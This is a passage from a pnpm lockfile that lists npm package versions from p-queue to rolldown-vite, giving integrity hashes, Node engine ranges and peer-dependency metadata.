sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==}\n    engines: {node: '>=8'}\n\n  p-queue@9.1.0:\n    resolution: {integrity: sha512-O/ZPaXuQV29uSLbxWBGGZO1mCQXV2BLIwUr59JUU9SoH76mnYvtms7aafH/isNSNGwuEfP6W/4xD0/TJXxrizw==}\n    engines: {node: '>=20'}\n\n  p-retry@7.1.1:\n    resolution: {integrity: sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w==}\n    engines: {node: '>=20'}\n\n  p-timeout@3.2.0:\n    resolution: {integrity: sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==}\n    engines: {node: '>=8'}\n\n  p-timeout@4.1.0:\n    resolution: {integrity: sha512-+/wmHtzJuWii1sXn3HCuH/FTwGhrp4tmJTxSKJbfS+vkipci6osxXM5mY0jUiRzWKMTgUT8l7HFbeSwZAynqHw==}\n    engines: {node: '>=10'}\n\n  p-timeout@6.1.4:\n    resolution: {integrity: sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==}\n    engines: {node: '>=14.16'}\n\n  p-timeout@7.0.1:\n    resolution: {integrity: sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg==}\n    engines: {node: '>=20'}\n\n  p-try@2.2.0:\n    resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==}\n    engines: {node: '>=6'}\n\n  package-json-from-dist@1.0.1:\n    resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==}\n\n  package-manager-detector@1.6.0:\n    resolution: {integrity: sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA==}\n\n  pacote@15.2.0:\n    resolution: {integrity: sha512-rJVZeIwHTUta23sIZgEIM62WYwbmGbThdbnkt81ravBplQv+HjyroqnLRNH2+sLJHcGZmLRmhPwACqhfTcOmnA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  param-case@2.1.1:\n    resolution: {integrity: sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==}\n\n  parse-conflict-json@3.0.1:\n    resolution: {integrity: sha512-01TvEktc68vwbJOtWZluyWeVGWjP+bZwXtPDMQVbBKzbJ/vZBif0L69KH1+cHv1SZ6e0FKLvjyHe8mqsIqYOmw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  parse-ms@4.0.0:\n    resolution: {integrity: sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==}\n    engines: {node: '>=18'}\n\n  parse-node-version@1.0.1:\n    resolution: {integrity: sha512-3YHlOa/JgH6Mnpr05jP9eDG254US9ek25LyIxZlDItp2iJtwyaXQb57lBYLdT3MowkUFYEV2XXNAYIPlESvJlA==}\n    engines: {node: '>= 0.10'}\n\n  parse5-htmlparser2-tree-adapter@7.1.0:\n    resolution: {integrity: sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==}\n\n  parse5-parser-stream@7.1.2:\n    resolution: {integrity: sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow==}\n\n  parse5@7.3.0:\n    resolution: {integrity: sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==}\n\n  parseurl@1.3.3:\n    resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==}\n    engines: {node: '>= 0.8'}\n\n  pascal-case@2.0.1:\n    resolution: {integrity: sha512-qjS4s8rBOJa2Xm0jmxXiyh1+OFf6ekCWOvUaRgAQSktzlTbMotS0nmG9gyYAybCWBcuP4fsBeRCKNwGBnMe2OQ==}\n\n  path-case@2.1.1:\n    resolution: {integrity: sha512-Ou0N05MioItesaLr9q8TtHVWmJ6fxWdqKB2RohFmNWVyJ+2zeKIeDNWAN6B/Pe7wpzWChhZX6nONYmOnMeJQ/Q==}\n\n  path-exists@3.0.0:\n    resolution: {integrity: sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==}\n    engines: {node: '>=4'}\n\n  path-exists@4.0.0:\n    resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}\n    engines: {node: '>=8'}\n\n  path-is-absolute@1.0.1:\n    resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==}\n    engines: {node: '>=0.10.0'}\n\n  path-key@2.0.1:\n    resolution: {integrity: sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==}\n    engines: {node: '>=4'}\n\n  path-key@3.1.1:\n    resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==}\n    engines: {node: '>=8'}\n\n  path-key@4.0.0:\n    resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==}\n    engines: {node: '>=12'}\n\n  path-scurry@1.11.1:\n    resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==}\n    engines: {node: '>=16 || 14 >=14.18'}\n\n  path-scurry@2.0.1:\n    resolution: {integrity: sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA==}\n    engines: {node: 20 || >=22}\n\n  path-to-regexp@0.1.12:\n    resolution: {integrity: sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==}\n\n  path-to-regexp@1.9.0:\n    resolution: {integrity: sha512-xIp7/apCFJuUHdDLWe8O1HIkb0kQrOMb/0u6FXQjemHn/ii5LrIzU6bdECnsiTF/GjZkMEKg1xdiZwNqDYlZ6g==}\n\n  path-to-regexp@6.3.0:\n    resolution: {integrity: sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==}\n\n  path-to-regexp@8.3.0:\n    resolution: {integrity: sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA==}\n\n  path-type@4.0.0:\n    resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==}\n    engines: {node: '>=8'}\n\n  path-type@6.0.0:\n    resolution: {integrity: sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ==}\n    engines: {node: '>=18'}\n\n  pathe@2.0.3:\n    resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==}\n\n  pause-stream@0.0.11:\n    resolution: {integrity: sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==}\n\n  perfect-debounce@2.0.0:\n    resolution: {integrity: sha512-fkEH/OBiKrqqI/yIgjR92lMfs2K8105zt/VT6+7eTjNwisrsh47CeIED9z58zI7DfKdH3uHAn25ziRZn3kgAow==}\n\n  performance-ms@1.1.0:\n    resolution: {integrity: sha512-27yI2vaAnCCqIUJx2nijADXNfY9OA5EFIDZavL0ZlMEujnfE6lSs18ENeR2rwYTA1sCLnEci0o6kZi8ekfXT1w==}\n    engines: {node: '>= 14.0.0'}\n\n  picocolors@1.1.1:\n    resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==}\n\n  picomatch@2.3.1:\n    resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==}\n    engines: {node: '>=8.6'}\n\n  picomatch@4.0.3:\n    resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==}\n    engines: {node: '>=12'}\n\n  pidtree@0.6.0:\n    resolution: {integrity: sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==}\n    engines: {node: '>=0.10'}\n    hasBin: true\n\n  pify@4.0.1:\n    resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==}\n    engines: {node: '>=6'}\n\n  pirates@4.0.7:\n    resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==}\n    engines: {node: '>= 6'}\n\n  pkce-challenge@5.0.1:\n    resolution: {integrity: sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==}\n    engines: {node: '>=16.20.0'}\n\n  pkg-types@2.3.0:\n    resolution: {integrity: sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==}\n\n  platform@1.3.6:\n    resolution: {integrity: sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg==}\n\n  pluralize@7.0.0:\n    resolution: {integrity: sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==}\n    engines: {node: '>=4'}\n\n  pluralize@8.0.0:\n    resolution: {integrity: sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==}\n    engines: {node: '>=4'}\n\n  possible-typed-array-names@1.1.0:\n    resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==}\n    engines: {node: '>= 0.4'}\n\n  postcss-selector-parser@6.1.2:\n    resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==}\n    engines: {node: '>=4'}\n\n  postcss@8.5.6:\n    resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==}\n    engines: {node: ^10 || ^12 || >=14}\n\n  pretty-bytes@7.1.0:\n    resolution: {integrity: sha512-nODzvTiYVRGRqAOvE84Vk5JDPyyxsVk0/fbA/bq7RqlnhksGpset09XTxbpvLTIjoaF7K8Z8DG8yHtKGTPSYRw==}\n    engines: {node: '>=20'}\n\n  pretty-ms@9.3.0:\n    resolution: {integrity: sha512-gjVS5hOP+M3wMm5nmNOucbIrqudzs9v/57bWRHQWLYklXqoXKrVfYW2W9+glfGsqtPgpiz5WwyEEB+ksXIx3gQ==}\n    engines: {node: '>=18'}\n\n  proc-log@3.0.0:\n    resolution: {integrity: sha512-++Vn7NS4Xf9NacaU9Xq3URUuqZETPsf8L4j5/ckhaRYsfPeRyzGw+iDjFhV/Jr3uNmTvvddEJFWh5R1gRgUH8A==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  promise-all-reject-late@1.0.1:\n    resolution: {integrity: sha512-vuf0Lf0lOxyQREH7GDIOUMLS7kz+gs8i6B+Yi8dC68a2sychGrHTJYghMBD6k7eUcH0H5P73EckCA48xijWqXw==}\n\n  promise-call-limit@1.0.2:\n    resolution: {integrity: sha512-1vTUnfI2hzui8AEIixbdAJlFY4LFDXqQswy/2eOlThAscXCY4It8FdVuI0fMJGAB2aWGbdQf/gv0skKYXmdrHA==}\n\n  promise-inflight@1.0.1:\n    resolution: {integrity: sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==}\n    peerDependencies:\n      bluebird: '*'\n    peerDependenciesMeta:\n      bluebird:\n        optional: true\n\n  promise-retry@2.0.1:\n    resolution: {integrity: sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==}\n    engines: {node: '>=10'}\n\n  property-information@7.1.0:\n    resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==}\n\n  proto-list@1.2.4:\n    resolution: {integrity: sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==}\n\n  proxy-addr@2.0.7:\n    resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==}\n    engines: {node: '>= 0.10'}\n\n  proxy-from-env@1.1.0:\n    resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==}\n\n  prr@1.0.1:\n    resolution: {integrity: sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==}\n\n  publint@0.3.16:\n    resolution: {integrity: sha512-MFqyfRLAExPVZdTQFwkAQELzA8idyXzROVOytg6nEJ/GEypXBUmMGrVaID8cTuzRS1U5L8yTOdOJtMXgFUJAeA==}\n    engines: {node: '>=18'}\n    hasBin: true\n\n  pump@3.0.3:\n    resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==}\n\n  punycode.js@2.3.1:\n    resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==}\n    engines: {node: '>=6'}\n\n  qs@6.13.0:\n    resolution: {integrity: sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==}\n    engines: {node: '>=0.6'}\n\n  qs@6.15.0:\n    resolution: {integrity: sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==}\n    engines: {node: '>=0.6'}\n\n  quansync@1.0.0:\n    resolution: {integrity: sha512-5xZacEEufv3HSTPQuchrvV6soaiACMFnq1H8wkVioctoH3TRha9Sz66lOxRwPK/qZj7HPiSveih9yAyh98gvqA==}\n\n  queue-microtask@1.2.3:\n    resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}\n\n  random-bytes@1.0.0:\n    resolution: {integrity: sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==}\n    engines: {node: '>= 0.8'}\n\n  randombytes@2.1.0:\n    resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==}\n\n  range-parser@1.2.1:\n    resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==}\n    engines: {node: '>= 0.6'}\n\n  raw-body@2.5.2:\n    resolution: {integrity: sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==}\n    engines: {node: '>= 0.8'}\n\n  raw-body@3.0.1:\n    resolution: {integrity: sha512-9G8cA+tuMS75+6G/TzW8OtLzmBDMo8p1JRxN5AZ+LAp8uxGA8V8GZm4GQ4/N5QNQEnLmg6SS7wyuSmbKepiKqA==}\n    engines: {node: '>= 0.10'}\n\n  rc@1.2.8:\n    resolution: {integrity: sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==}\n    hasBin: true\n\n  read-cmd-shim@2.0.0:\n    resolution: {integrity: sha512-HJpV9bQpkl6KwjxlJcBoqu9Ba0PQg8TqSNIOrulGt54a0uup0HtevreFHzYzkm0lpnleRdNBzXznKrgxglEHQw==}\n\n  read-cmd-shim@4.0.0:\n    resolution: {integrity: sha512-yILWifhaSEEytfXI76kB9xEEiG1AiozaCJZ83A87ytjRiN+jVibXjedjCRNjoZviinhG+4UkalO3mWTd8u5O0Q==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  read-env-value@1.1.0:\n    resolution: {integrity: sha512-qxnfBEB28e6+x/urTVkx6nHfOOJe4sXm+zKlrQNgqvixvFkwZST7Puzq5OgdUd6mBu5Fm3eKOits67j+G4YzjQ==}\n    engines: {node: '>= 20.0.0'}\n\n  read-package-json-fast@3.0.2:\n    resolution: {integrity: sha512-0J+Msgym3vrLOUB3hzQCuZHII0xkNGCtz/HJH9xZshwv9DbDwkw1KaE3gx/e2J5rpEY5rtOy6cyhKOPrkP7FZw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  read-package-json@6.0.4:\n    resolution: {integrity: sha512-AEtWXYfopBj2z5N5PbkAOeNHRPUg5q+Nen7QLxV8M2zJq1ym6/lCz3fYNTCXe19puu2d06jfHhrP7v/S2PtMMw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    deprecated: This package is no longer supported. Please use @npmcli/package-json instead.\n\n  readable-stream@3.6.2:\n    resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==}\n    engines: {node: '>= 6'}\n\n  readdirp@3.6.0:\n    resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==}\n    engines: {node: '>=8.10.0'}\n\n  readdirp@4.1.2:\n    resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==}\n    engines: {node: '>= 14.18.0'}\n\n  readline-sync@1.4.10:\n    resolution: {integrity: sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==}\n    engines: {node: '>= 0.8.0'}\n\n  ready-callback@4.0.0:\n    resolution: {integrity: sha512-4jkycmNcRk642rVKdYlqToVKoZ67TPWrOGCyvWYi074ZJli6J3cqr7L/IFtxqOrafrp05DReGzno6l/F7By7Dg==}\n    engines: {node: '>=16.0.0'}\n\n  redis-errors@1.2.0:\n    resolution: {integrity: sha512-1qny3OExCf0UvUV/5wpYKf2YwPcOqXzkwKKSmKHiE6ZMQs5heeE/c8eXK+PNllPvmjgAbfnsbpkGZWy8cBpn9w==}\n    engines: {node: '>=4'}\n\n  redis-parser@3.0.0:\n    resolution: {integrity: sha512-DJnGAeenTdpMEH6uAJRK/uiyEIH9WVsUmoLwzudwGJUwZPp80PDBWPHXSAGNPwNvIXAbe7MSUB1zQFugFml66A==}\n    engines: {node: '>=4'}\n\n  reflect-metadata@0.1.14:\n    resolution: {integrity: sha512-ZhYeb6nRaXCfhnndflDK8qI6ZQ/YcWZCISRAWICW9XYqMUwjZM9Z0DveWX/ABN01oxSHwVxKQmxeYZSsm0jh5A==}\n\n  reflect-metadata@0.2.2:\n    resolution: {integrity: sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==}\n\n  regex-recursion@6.0.2:\n    resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==}\n\n  regex-utilities@2.3.0:\n    resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==}\n\n  regex@6.0.1:\n    resolution: {integrity: sha512-uorlqlzAKjKQZ5P+kTJr3eeJGSVroLKoHmquUj4zHWuR+hEyNqlXsSKlYYF5F4NI6nl7tWCs0apKJ0lmfsXAPA==}\n\n  regexp.prototype.flags@1.5.4:\n    resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==}\n    engines: {node: '>= 0.4'}\n\n  remark-frontmatter@5.0.0:\n    resolution: {integrity: sha512-XTFYvNASMe5iPN0719nPrdItC9aU0ssC4v14mH1BCi1u0n1gAocqcujWUrByftZTbLhRtiKRyjYTSIOcr69UVQ==}\n\n  remark-parse@11.0.0:\n    resolution: {integrity: sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==}\n\n  remark-stringify@11.0.0:\n    resolution: {integrity: sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==}\n\n  remark@15.0.1:\n    resolution: {integrity: sha512-Eht5w30ruCXgFmxVUSlNWQ9iiimq07URKeFS3hNc8cUWy1llX4KDWfyEDZRycMc+znsN9Ux5/tJ/BFdgdOwA3A==}\n\n  require-directory@2.1.1:\n    resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==}\n    engines: {node: '>=0.10.0'}\n\n  require-from-string@2.0.2:\n    resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==}\n    engines: {node: '>=0.10.0'}\n\n  require-main-filename@2.0.0:\n    resolution: {integrity: sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==}\n\n  resolve-path@1.4.0:\n    resolution: {integrity: sha512-i1xevIst/Qa+nA9olDxLWnLk8YZbi8R/7JPbCMcgyWaFR6bKWaexgJgEB5oc2PKMjYdrHynyz0NY+if+H98t1w==}\n    engines: {node: '>= 0.8'}\n\n  resolve-pkg-maps@1.0.0:\n    resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==}\n\n  restore-cursor@3.1.0:\n    resolution: {integrity: sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==}\n    engines: {node: '>=8'}\n\n  restore-cursor@5.1.0:\n    resolution: {integrity: sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==}\n    engines: {node: '>=18'}\n\n  retry@0.12.0:\n    resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==}\n    engines: {node: '>= 4'}\n\n  reusify@1.1.0:\n    resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==}\n    engines: {iojs: '>=1.0.0', node: '>=0.10.0'}\n\n  rfdc@1.4.1:\n    resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==}\n\n  rimraf@3.0.2:\n    resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==}\n    deprecated: Rimraf versions prior to v4 are no longer supported\n    hasBin: true\n\n  rimraf@6.1.2:\n    resolution: {integrity: sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g==}\n    engines: {node: 20 || >=22}\n    hasBin: true\n\n  rndm@1.2.0:\n    resolution: {integrity: sha512-fJhQQI5tLrQvYIYFpOnFinzv9dwmR7hRnUz1XqP3OJ1jIweTNOd6aTO4jwQSgcBSFUB+/KHJxuGneime+FdzOw==}\n\n  rolldown-plugin-dts@0.19.1:\n    resolution: {integrity: sha512-6z501zDTGq6ZrIEdk57qNUwq7kBRGzv3I3SAN2HMJ2KFYjHLnAuPYOmvfiwdxbRZMJ0iMdkV9rYdC3GjurT2cg==}\n    engines: {node: '>=20.19.0'}\n    peerDependencies:\n      '@ts-macro/tsc': ^0.3.6\n      '@typescript/native-preview': '>=7.0.0-dev.20250601.1'\n      rolldown: ^1.0.0-beta.55\n      typescript: ^5.0.0\n      vue-tsc: ~3.1.0\n    peerDependenciesMeta:\n      '@ts-macro/tsc':\n        optional: true\n      '@typescript/native-preview':\n        optional: true\n      typescript:\n        optional: true\n      vue-tsc:\n        optional: true\n\n  rolldown-vite@7.3.0:\n    resolution: {integrity: 